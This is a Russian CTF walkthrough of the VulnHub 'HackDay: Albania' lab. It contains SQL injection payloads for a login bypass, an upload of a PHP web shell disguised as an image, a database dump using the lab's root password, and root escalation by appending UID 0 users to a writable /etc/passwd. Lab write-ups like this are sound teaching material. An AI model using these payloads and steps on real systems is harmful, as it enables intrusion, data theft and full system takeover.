VulnHub Разбор HackDay: Albania

Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania. К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania’s 2016 CTF
This was used in HackDay Albania’s 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.

Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.

Начнём


Запускаем скачанный образ в VirtualBox, и после загрузки nmap’ом ищем открытые порты:
sudo nmap 192.168.1.1-255 -sV

Starting Nmap 7.01 (nmap.org) at 2016–12–18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel

Переходим по 192.168.1.44:8008 видим всплывающее окно

b00ebcf2176e4d75a9de27ef0a176b1f.png

И коммент в коде страницы:

OK ok, por jo ketu:)

Посмотрим содержимое файла robots.txt
robots.txt
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:

0f74321fb0aa4d9a9b9b3de0acbeb644.jpg
background.jpg

Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.

Запускаем:

sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt

После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg

25ded475adb24fe39ce8e8cbea28b546.png

После перехода в эту директорию в браузере видим такой ответ:

IS there any /vulnbank/ in there???

Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:

02a75a1ed05a43d7a4ece1642428cb21.png

Проверяем наличие sql инъекций:

sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3

И получаем ответ:
sqlmap resumed the following injection point (s) from stored session:
 — Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0×61646d696e ELSE 0×28 END))-- pSKE&password=admin

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP (5)-- DBgy&password=admin


Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.

Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP (5)-- DBgy&password=admin

И нас неожиданно редиректит в профиль какого-то пользователя:

Скрытый текст
dfd064d798dc418c9c0611b96544d04b.png

Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc…

Ок, создаём файл
shell.jpg


Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:

192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php? filename=shell.jpg&cmd=id.

Но вместо заветного шела получаем сообщение:

Warning: system (): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1

Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.
Плюшки при работе с php shell
Заливаем через форму отправки тикетов шелл b374k
Запускаем BurpSuite и настраиваем там правило:
cbc16ce7a2a5492ebdab9347c8de82ea.png
P.S. без него BurpSuite каждый раз будет к запросу view_file.php? filename=myShell.jpg добавлять ? filename=myShell.jpg что приведёт к ошибкам.

Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php


Можем вытянуть из БД клиентов и их пароли:
Скрытый текст
function execute_query($sql){
	$db_host = "127.0.0.1";
	$db_name = "bank_database";
	$db_user = "root";
	$db_password = "NuCiGoGo321";
	$con=mysqli_connect($db_host,$db_user,$db_password,$db_name);
	if(mysqli_connect_errno()){
	  echo "Failed to connect to MySQL: " . mysqli_connect_error();
	  die(0);
	  }
	 $response = mysqli_query($con,$sql);
	 mysqli_close($con);
	 return $response;
}
$result = execute_query("SELECT * FROM klienti;");
while($row = $result->fetch_assoc()) { print_r($row); }


Просматривая файлы и директории обнаруживаем такую запись:
passwd 1.58 KB root: root -rw-r--rw- 22-Oct-2016 17:21:42

Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:
openssl passwd -1 -salt xyz admin

Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись
gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash

P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.

Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду

su admin

И после ввода пароля, получаем root привилегии на этой виртуальной машине

Дело за малым, осталось найти флаг.

root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/# 

P.S. После расшифровки, узнаём что флаг это md5 от rio

Комментарии (0)

© Habrahabr.ru